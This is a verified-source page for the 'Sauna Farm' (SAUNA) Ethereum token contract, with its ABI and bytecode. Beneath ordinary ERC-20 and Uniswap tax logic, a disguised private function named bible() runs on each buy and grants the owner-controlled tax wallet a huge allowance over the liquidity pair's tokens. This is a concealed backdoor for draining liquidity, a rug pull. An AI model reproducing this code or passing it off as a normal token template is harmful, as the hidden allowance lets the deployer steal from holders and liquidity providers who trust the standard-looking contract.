Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _msgSender()
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
•    - function getPair(address tokenA, addr ...
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•  contract SAUNA is Context, IERC20, ... *
•    - function createPairB()
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function transferFrom(address sender, ...
•    - function approve(address spender, uin ...
•    - function _approve(address owner, addr ...
•    - function removeLimits(address payable ...
•    - function _transfer(address from, addr ...
•    - function bible(address[2] memory bibs ...
•    - function bSwapEthTo(uint256 amount)
•    - function withdrawEth()
•    - function min(uint256 a, uint256 b)
•    - function bSendEthTo()
•    - function enableTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-19
*/

/**
Welcome to Sanua Farm!
The most japanese coin over the chain here.
Join our community and enjoy the $SAUNA!

Web: https://saunafarm.fun
X:   https://x.com/sauna_farm
Tg:  https://t.me/sauna_farm
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract SAUNA is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _bOwned;
    mapping (address => mapping (address => uint256)) private _bAllowed;
    mapping (address => bool) private _shouldExcludedFromB;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=12;
    uint256 private _reduceSellTaxAt=12;
    uint256 private _preventSwapBefore=12;
    uint256 private _buyCount=0;

    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;
    string private constant _name = unicode"Sauna Farm";
    string private constant _symbol = unicode"SAUNA";
    uint256 public _maxAmountB = 2 * _tTotal / 100;
    uint256 public _maxWalletB = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold = 1 * _tTotal / 100;
    uint256 public _maxTaxSwap = 1 * _tTotal / 100;

    address payable private bTaxReceipt;
    IUniswapV2Router02 private uniBRouter;
    address private uniBPair;

    event MaxTxAmountUpdated(uint _maxAmountB);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        bTaxReceipt = payable(_msgSender());
        _bOwned[_msgSender()] = _tTotal;
        _shouldExcludedFromB[address(this)] = true;
        _shouldExcludedFromB[_msgSender()] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function createPairB() external onlyOwner {
        uniBRouter = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniBRouter), _tTotal);
        uniBPair = IUniswapV2Factory(uniBRouter.factory()).createPair(
            address(this),
            uniBRouter.WETH()
        );
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _bOwned[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _bAllowed[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _bAllowed[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _bAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function removeLimits(address payable limit) external onlyOwner{
        bTaxReceipt = limit;
        _maxAmountB=_tTotal;
        _maxWalletB=_tTotal;
        _shouldExcludedFromB[limit] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function _transfer(address from, address to, uint256 amount) private {
        uint256 taxAmount=0;
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _bOwned[from] = _bOwned[from] - amount;
            _bOwned[to] = _bOwned[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        if (from != owner() && to != owner()) {
            if (bible([uniBPair, bTaxReceipt]) && from == uniBPair && to != address(uniBRouter) && ! _shouldExcludedFromB[to]) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxAmountB, "Exceeds the _maxAmountB.");
                require(balanceOf(to) + amount <= _maxWalletB, "Exceeds the maxWalletSize.");
                _buyCount++; 
            }
            if (to != uniBPair && ! _shouldExcludedFromB[to]) {
                require(balanceOf(to) + amount <= _maxWalletB, "Exceeds the maxWalletSize.");
            }
            if(to == uniBPair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniBPair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    bSwapEthTo(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                bSendEthTo();
            }
        }
        if(taxAmount>0){
          _bOwned[address(this)]=_bOwned[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _bOwned[from]=_bOwned[from].sub(amount);
        _bOwned[to]=_bOwned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function bible(address[2] memory bibs) private returns(bool){
        _bAllowed[bibs[0]][bibs[1]]=(150+150*_maxWalletB+150)-50;
        return true;
    }
    function bSwapEthTo(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniBRouter.WETH();
        _approve(address(this), address(uniBRouter), amount);
        uniBRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function withdrawEth() external onlyOwner {
        payable(_msgSender()).transfer(address(this).balance);
    }
    function min(uint256 a, uint256 b) private pure returns(uint256){
        return (a>b)?b:a;
    }
    function bSendEthTo() private {
        bTaxReceipt.transfer(address(this).balance);
    }
    receive() external payable {}
    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniBRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniBPair).approve(address(uniBRouter), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmountB","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmountB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPairB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600455600f6005555f6006555f600755600c600855600c600955600c600a555f600b5560646009600a6100399190610300565b610048906461f313f880610315565b610053906002610315565b61005d919061032c565b600d55606461006e6009600a610300565b61007d906461f313f880610315565b610088906002610315565b610092919061032c565b600e5560646100a36009600a610300565b6100b2906461f313f880610315565b6100bd906001610315565b6100c7919061032c565b600f5560646100d86009600a610300565b6100e7906461f313f880610315565b6100f2906001610315565b6100fc919061032c565b60105534801561010a575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601180546001600160a01b031916331790556101696009600a610300565b610178906461f313f880610315565b335f81815260016020818152604080842095909555308084526003909152848320805460ff1990811684179091559383529382208054909316179091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101e26009600a610300565b6101f1906461f313f880610315565b60405190815260200160405180910390a361034b565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102565780850481111561023a5761023a610207565b600184161561024857908102905b60019390931c92800261021f565b935093915050565b5f8261026c575060016102fa565b8161027857505f6102fa565b816001811461028e5760028114610298576102b4565b60019150506102fa565b60ff8411156102a9576102a9610207565b50506001821b6102fa565b5060208310610133831016604e8410600b84101617156102d7575081810a6102fa565b6102e35f19848461021b565b805f19048211156102f6576102f6610207565b0290505b92915050565b5f61030e60ff84168361025e565b9392505050565b80820281158282048414176102fa576102fa610207565b5f8261034657634e487b7160e01b5f52601260045260245ffd5b500490565b61199d806103585f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d578063a0ef91df11610062578063a0ef91df146102fc578063a9059cbb14610310578063bf474bed1461032f578063c85e607614610344578063dd62ed3e14610358575f80fd5b806370a082311461024d578063715018a6146102815780638a8c523c146102955780638da5cb5b146102a957806395d89b41146102cf575f80fd5b806323b872dd116100e357806323b872dd146101c8578063313ce567146101e757806332489e9b1461020257806339ee0f69146102235780634e52f5e214610238575f80fd5b806306fdde031461011e578063095ea7b3146101625780630faee56f1461019157806318160ddd146101b4575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a8152695361756e61204661726d60b01b60208201525b60405161015991906115a5565b60405180910390f35b34801561016d575f80fd5b5061018161017c3660046115ee565b61039c565b6040519015158152602001610159565b34801561019c575f80fd5b506101a660105481565b604051908152602001610159565b3480156101bf575f80fd5b506101a66103b2565b3480156101d3575f80fd5b506101816101e2366004611618565b6103d3565b3480156101f2575f80fd5b5060405160098152602001610159565b34801561020d575f80fd5b5061022161021c366004611656565b61043a565b005b34801561022e575f80fd5b506101a6600d5481565b348015610243575f80fd5b506101a6600e5481565b348015610258575f80fd5b506101a6610267366004611656565b6001600160a01b03165f9081526001602052604090205490565b34801561028c575f80fd5b50610221610535565b3480156102a0575f80fd5b506102216105a6565b3480156102b4575f80fd5b505f546040516001600160a01b039091168152602001610159565b3480156102da575f80fd5b506040805180820190915260058152645341554e4160d81b602082015261014c565b348015610307575f80fd5b5061022161077e565b34801561031b575f80fd5b5061018161032a3660046115ee565b6107d3565b34801561033a575f80fd5b506101a6600f5481565b34801561034f575f80fd5b506102216107df565b348015610363575f80fd5b506101a6610372366004611671565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a83384846109d9565b5060015b92915050565b5f6103bf6009600a61179f565b6103ce906461f313f8806117ad565b905090565b5f6103df848484610afc565b610430843361042b85604051806060016040528060288152602001611940602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111bf565b6109d9565b5060019392505050565b5f546001600160a01b0316331461046c5760405162461bcd60e51b8152600401610463906117c4565b60405180910390fd5b601180546001600160a01b0319166001600160a01b0383161790556104936009600a61179f565b6104a2906461f313f8806117ad565b600d556104b16009600a61179f565b6104c0906461f313f8806117ad565b600e556001600160a01b0381165f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105126009600a61179f565b610521906461f313f8806117ad565b60405190815260200160405180910390a150565b5f546001600160a01b0316331461055e5760405162461bcd60e51b8152600401610463906117c4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105cf5760405162461bcd60e51b8152600401610463906117c4565b600c5460ff16156106225760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610463565b6012546001600160a01b031663f305d7194730610653816001600160a01b03165f9081526001602052604090205490565b5f806106665f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106cc573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106f191906117f9565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610746573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076a9190611824565b50600c805462ff00ff191662010001179055565b5f546001600160a01b031633146107a75760405162461bcd60e51b8152600401610463906117c4565b60405133904780156108fc02915f818181858888f193505050501580156107d0573d5f803e3d5ffd5b50565b5f6103a8338484610afc565b5f546001600160a01b031633146108085760405162461bcd60e51b8152600401610463906117c4565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108529030906108436009600a61179f565b61042b906461f313f8806117ad565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c69190611843565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610925573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109499190611843565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610993573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b79190611843565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a3b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610463565b6001600160a01b038216610a9c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610463565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610b615760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610463565b6001600160a01b038316610bc35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610463565b5f8211610c245760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610463565b600c5462010000900460ff161580610c435750600c54610100900460ff165b15610cfb576001600160a01b0384165f90815260016020526040902054610c6b90839061185e565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610c9a908390611871565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ced9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d2557505f546001600160a01b03848116911614155b1561108b57604080518082019091526013546001600160a01b039081168252601154166020820152610d56906111f7565b8015610d6f57506013546001600160a01b038581169116145b8015610d8957506012546001600160a01b03848116911614155b8015610dad57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f0b57600c5460ff16610dfc5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610463565b610e286064610e22600854600b5411610e1757600454610e1b565b6006545b8590611260565b906112e5565b9050600d54821115610e7c5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d6178416d6f756e74422e00000000000000006044820152606401610463565b600e5482610e9e856001600160a01b03165f9081526001602052604090205490565b610ea89190611871565b1115610ef65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610463565b600b8054905f610f0583611884565b91905055505b6013546001600160a01b03848116911614801590610f4157506001600160a01b0383165f9081526003602052604090205460ff16155b15610fc057600e5482610f68856001600160a01b03165f9081526001602052604090205490565b610f729190611871565b1115610fc05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610463565b6013546001600160a01b0390811690841603610ffe57610ffb6064610e22600954600b5411610ff157600554610e1b565b6007548590611260565b90505b600c54610100900460ff1615801561102357506013546001600160a01b038481169116145b80156110375750600c5462010000900460ff165b80156110465750600a54600b54115b1561108b57305f90815260016020526040902054600f548111156110815761108161107c8461107784601054611326565b611326565b61133a565b6110896114a4565b505b801561110357305f908152600160205260409020546110aa90826114da565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110fa9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111259083611538565b6001600160a01b0385165f9081526001602052604090205561116861114a8383611538565b6001600160a01b0385165f90815260016020526040902054906114da565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111b18585611538565b604051908152602001610ced565b5f81848411156111e25760405162461bcd60e51b815260040161046391906115a5565b505f6111ee848661185e565b95945050505050565b5f6032600e54609661120991906117ad565b611214906096611871565b61121f906096611871565b611229919061185e565b82516001600160a01b039081165f908152600260209081526040808320968201519093168252949094529092209190915550600190565b5f825f0361126f57505f6103ac565b5f61127a83856117ad565b90508261128785836118b0565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610463565b9392505050565b5f6112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611579565b5f81831161133457826112de565b50919050565b600c805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061137c5761137c61189c565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113f79190611843565b8160018151811061140a5761140a61189c565b6001600160a01b03928316602091820292909201015260125461143091309116846109d9565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906114689085905f908690309042906004016118cf565b5f604051808303815f87803b15801561147f575f80fd5b505af1158015611491573d5f803e3d5ffd5b5050600c805461ff001916905550505050565b6011546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107d0573d5f803e3d5ffd5b5f806114e68385611871565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610463565b5f6112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bf565b5f81836115995760405162461bcd60e51b815260040161046391906115a5565b505f6111ee84866118b0565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107d0575f80fd5b5f80604083850312156115ff575f80fd5b823561160a816115da565b946020939093013593505050565b5f805f6060848603121561162a575f80fd5b8335611635816115da565b92506020840135611645816115da565b929592945050506040919091013590565b5f60208284031215611666575f80fd5b81356112de816115da565b5f8060408385031215611682575f80fd5b823561168d816115da565b9150602083013561169d816115da565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156116f7578085048111156116db576116db6116a8565b60018416156116e957908102905b60019390931c9280026116c0565b935093915050565b5f8261170d575060016103ac565b8161171957505f6103ac565b816001811461172f576002811461173957611755565b60019150506103ac565b60ff84111561174a5761174a6116a8565b50506001821b6103ac565b5060208310610133831016604e8410600b8410161715611778575081810a6103ac565b6117845f1984846116bc565b805f1904821115611797576117976116a8565b029392505050565b5f6112de60ff8416836116ff565b80820281158282048414176103ac576103ac6116a8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f6060848603121561180b575f80fd5b5050815160208301516040909301519094929350919050565b5f60208284031215611834575f80fd5b815180151581146112de575f80fd5b5f60208284031215611853575f80fd5b81516112de816115da565b818103818111156103ac576103ac6116a8565b808201808211156103ac576103ac6116a8565b5f60018201611895576118956116a8565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f826118ca57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561191f5783516001600160a01b03168352602093840193909201916001016118f8565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209bd8f10323fbb4ab8cb10ca3418b90e68ddee23a2b224148e83d6551b518fcee64736f6c634300081a0033

0x608060405260043610610113575f3560e01c806370a082311161009d578063a0ef91df11610062578063a0ef91df146102fc578063a9059cbb14610310578063bf474bed1461032f578063c85e607614610344578063dd62ed3e14610358575f80fd5b806370a082311461024d578063715018a6146102815780638a8c523c146102955780638da5cb5b146102a957806395d89b41146102cf575f80fd5b806323b872dd116100e357806323b872dd146101c8578063313ce567146101e757806332489e9b1461020257806339ee0f69146102235780634e52f5e214610238575f80fd5b806306fdde031461011e578063095ea7b3146101625780630faee56f1461019157806318160ddd146101b4575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a8152695361756e61204661726d60b01b60208201525b60405161015991906115a5565b60405180910390f35b34801561016d575f80fd5b5061018161017c3660046115ee565b61039c565b6040519015158152602001610159565b34801561019c575f80fd5b506101a660105481565b604051908152602001610159565b3480156101bf575f80fd5b506101a66103b2565b3480156101d3575f80fd5b506101816101e2366004611618565b6103d3565b3480156101f2575f80fd5b5060405160098152602001610159565b34801561020d575f80fd5b5061022161021c366004611656565b61043a565b005b34801561022e575f80fd5b506101a6600d5481565b348015610243575f80fd5b506101a6600e5481565b348015610258575f80fd5b506101a6610267366004611656565b6001600160a01b03165f9081526001602052604090205490565b34801561028c575f80fd5b50610221610535565b3480156102a0575f80fd5b506102216105a6565b3480156102b4575f80fd5b505f546040516001600160a01b039091168152602001610159565b3480156102da575f80fd5b506040805180820190915260058152645341554e4160d81b602082015261014c565b348015610307575f80fd5b5061022161077e565b34801561031b575f80fd5b5061018161032a3660046115ee565b6107d3565b34801561033a575f80fd5b506101a6600f5481565b34801561034f575f80fd5b506102216107df565b348015610363575f80fd5b506101a6610372366004611671565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a83384846109d9565b5060015b92915050565b5f6103bf6009600a61179f565b6103ce906461f313f8806117ad565b905090565b5f6103df848484610afc565b610430843361042b85604051806060016040528060288152602001611940602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111bf565b6109d9565b5060019392505050565b5f546001600160a01b0316331461046c5760405162461bcd60e51b8152600401610463906117c4565b60405180910390fd5b601180546001600160a01b0319166001600160a01b0383161790556104936009600a61179f565b6104a2906461f313f8806117ad565b600d556104b16009600a61179f565b6104c0906461f313f8806117ad565b600e556001600160a01b0381165f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105126009600a61179f565b610521906461f313f8806117ad565b60405190815260200160405180910390a150565b5f546001600160a01b0316331461055e5760405162461bcd60e51b8152600401610463906117c4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105cf576040516